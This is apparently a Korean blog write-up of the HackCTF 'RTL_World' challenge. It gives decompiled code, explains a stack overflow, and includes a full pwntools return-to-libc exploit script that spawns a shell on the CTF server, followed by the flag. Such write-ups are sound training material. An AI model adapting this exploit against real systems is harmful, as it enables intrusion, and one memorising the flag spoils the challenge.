ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • RTL_World
    CTF/HackCTF 2021. 1. 21. 21:07

    Disassembly 디스어셈블리


    main()

    더보기
    undefined4 main(void)
    {
        int32_t iVar1;
        char *pcVar2;
        int32_t *piVar3;
        int32_t var_90h;
        int32_t var_8ch;
        int32_t var_bp_ch;
        int32_t var_bp_8h;
        void *s1;
        
        setvbuf(_reloc.stdout, 0, 2, 0);
        var_bp_8h = 0;
        var_bp_8h = dlopen("/lib/i386-linux-gnu/libc.so.6", 1);
        var_bp_ch = dlsym(var_bp_8h, "system");
        dlclose(var_bp_8h);
        s1 = (void *)var_bp_ch;
        while (iVar1 = memcmp(s1, "/bin/sh", 8), iVar1 != 0) {
            s1 = (void *)((int32_t)s1 + 1);
        }
        puts("\n\nNPC [Village Presient] : ");
        puts("Binary Boss made our village fall into disuse...");
        puts("If you Have System Armor && Shell Sword.");
        puts("You can kill the Binary Boss...");
        puts("Help me Pwnable Hero... :(\n");
        pcVar2 = "Your Gold : %d\n";
        piVar3 = _gold;
        printf("Your Gold : %d\n", _gold);
        do {
            Menu(pcVar2, piVar3);
            printf(">>> ");
            piVar3 = &var_90h;
            pcVar2 = (char *)0x8048dd9;
            __isoc99_scanf();
        // switch table (7 cases) at 0x80490cc
            switch(var_90h) {
            case 1:
                system("clear");
                puts("[Binary Boss]\n");
                puts("Arch:     i386-32-little");
                puts("RELRO:    Partial RELRO");
                puts("Stack:    No canary found");
                puts("NX:       NX enabled");
                puts("PIE:      No PIE (0x8048000)");
                puts("ASLR:  Enable");
                piVar3 = (int32_t *)var_bp_8h;
                printf("Binary Boss live in %p\n");
                pcVar2 = "Binart Boss HP is 140 + Armor + 4\n";
                puts();
                break;
            case 2:
                pcVar2 = (char *)_gold;
                Get_Money();
                break;
            case 3:
                if ((int32_t)_gold < 2000) {
                    pcVar2 = "You don\'t have gold... :(";
                    puts();
                } else {
                    _gold = (int32_t *)((int32_t)_gold + -1999);
                    pcVar2 = "System Armor : %p\n";
                    piVar3 = (int32_t *)var_bp_ch;
                    printf();
                }
                break;
            case 4:
                if ((int32_t)_gold < 3000) {
                    pcVar2 = "You don\'t have gold... :(";
                    puts();
                } else {
                    _gold = (int32_t *)((int32_t)_gold + -2999);
                    pcVar2 = "Shell Sword : %p\n";
                    piVar3 = (int32_t *)s1;
                    printf();
                }
                break;
            case 5:
                printf("[Attack] > ");
                read(0, &var_8ch, 0x400);
                return 0;
            case 6:
                puts("Your Not Hero... Bye...");
                pcVar2 = (char *)0x0;
                exit();
            }
        } while( true );
    }
    

    main()은 switch case 문으로 여러 역할을 수행하는 코드이다. 바이너리를 실행하면 다음과 같은 화면이 나온다.

     

    1은 해당 바이너리의 정보를 보여준다.

    2는 Get_Money() 함수를 호출한다.

    3은 2000 Gold를 소모해서 라이브러리의 system() 함수 주소를 보여준다.

    4는 3000 Gold를 소모해서 라이브러리 내부의 "/bin/sh" 문자열의 주소를 보여준다.

    5는 스택 버퍼 오버플로우가 발생하는 코드이다.

    6은 exit(9)으로 프로그램을 종료한다.

    Get_Money()

    더보기
    void Get_Money(void)
    {
        int32_t var_ch;
        int32_t var_8h;
        int32_t var_4h;
        
        puts("\nThis world is F*cking JabonJui");
        puts("1) Farming...");
        puts("2) Item selling...");
        puts("3) Hunting...");
        var_4h = 0;
        var_8h = rand();
        printf("(Job)>>> ");
        __isoc99_scanf(0x8048dd9, &var_ch);
        if (var_ch == 2) {
            puts("\nItem selling...");
            while (var_4h < 0x15f) {
                var_4h = var_4h + 1;
            }
            puts("+ 350 Gold");
            _gold = var_4h + _gold;
            printf("\nYour Gold is %d\n", _gold);
        } else {
            if (var_ch < 3) {
                if (var_ch == 1) {
                    puts("\nFarming...");
                    while (var_4h < 0x65) {
                        var_4h = var_4h + 1;
                    }
                    puts("+ 100 Gold");
                    _gold = var_4h + _gold;
                    printf("\nYour Gold is %d\n", _gold);
                }
            } else {
                if (var_ch == 3) {
                    puts("\nHunting...");
                    while (var_4h < 0x1f5) {
                        var_4h = var_4h + 1;
                    }
                    puts("+ 500 Gold");
                    _gold = var_4h + _gold;
                    printf("\nYour Gold is %d\n", _gold);
                } else {
                    if (var_ch == 4) {
                        puts("\nWow! you can find Hidden number!");
                        puts("Life is Just a One Shot...");
                        puts("Gambling...");
                        printf("+ %d Gold\n", var_8h);
                        _gold = var_8h + _gold;
                        printf("\nYour Gold is %d\n", _gold);
                    }
                }
            }
        }
        return;
    }

    Get_Money() 함수는 Gold를 늘릴 수 있는 함수이다.

    RTL


    스택 버퍼 오버플로우가 발생하므로 system("/bin/sh")를 호출할 수 있다. 이를 위해서는 system() 함수와 binsh 문자열의 주소를 알아야 하고, 약 5000 Gold를 확보해야 한다. Get_Money() 함수를 반복해서 호출해서 Gold를 늘린 후 필요한 주소를 얻고, RTL을 통해 공격하면 문제를 해결할 수 있다.

     

    Code

    더보기
    from pwn import *
    
    binary = "./rtl_world"
    server = "ctf.j0n9hyun.xyz"
    port = 3010
    
    context.log_level = 'debug'
    context.binary = binary
    
    p = remote(server, port)
    e = ELF(binary)
    r = ROP(e)
    
    for i in range(8):
    	p.sendlineafter(">>> ", str(2))
    	p.sendlineafter(">>> ", str(3))
    
    p.sendlineafter(">>> ", str(3))
    p.recvuntil("System Armor : ")
    system = int(p.recv()[0:10], 16)
    
    log.info("system : " + hex(system))
    
    p.sendlineafter(">>> ", str(4))
    p.recvuntil("Shell Sword : ")
    binsh = int(p.recv()[0:10], 16)
    
    log.info("binsh : " + hex(binsh))
    
    p.sendlineafter(">>> ", str(5))
    
    payload = b"A"*0x90
    payload += p32(system)
    payload += p32(0)
    payload += p32(binsh)
    
    p.sendlineafter("[Attack] > ", payload)
    
    p.interactive()

    Flag

    HackCTF{17_w45_4_6r347_r7l_w0rld}

    'CTF > HackCTF' 카테고리의 다른 글

    g++ pwn  (0) 2021.01.31
    Basic_FSB  (0) 2021.01.29
    Yes or no  (0) 2021.01.21
    BOF_PIE  (0) 2021.01.21
    Offset  (0) 2021.01.21

    댓글

Designed by Tistory.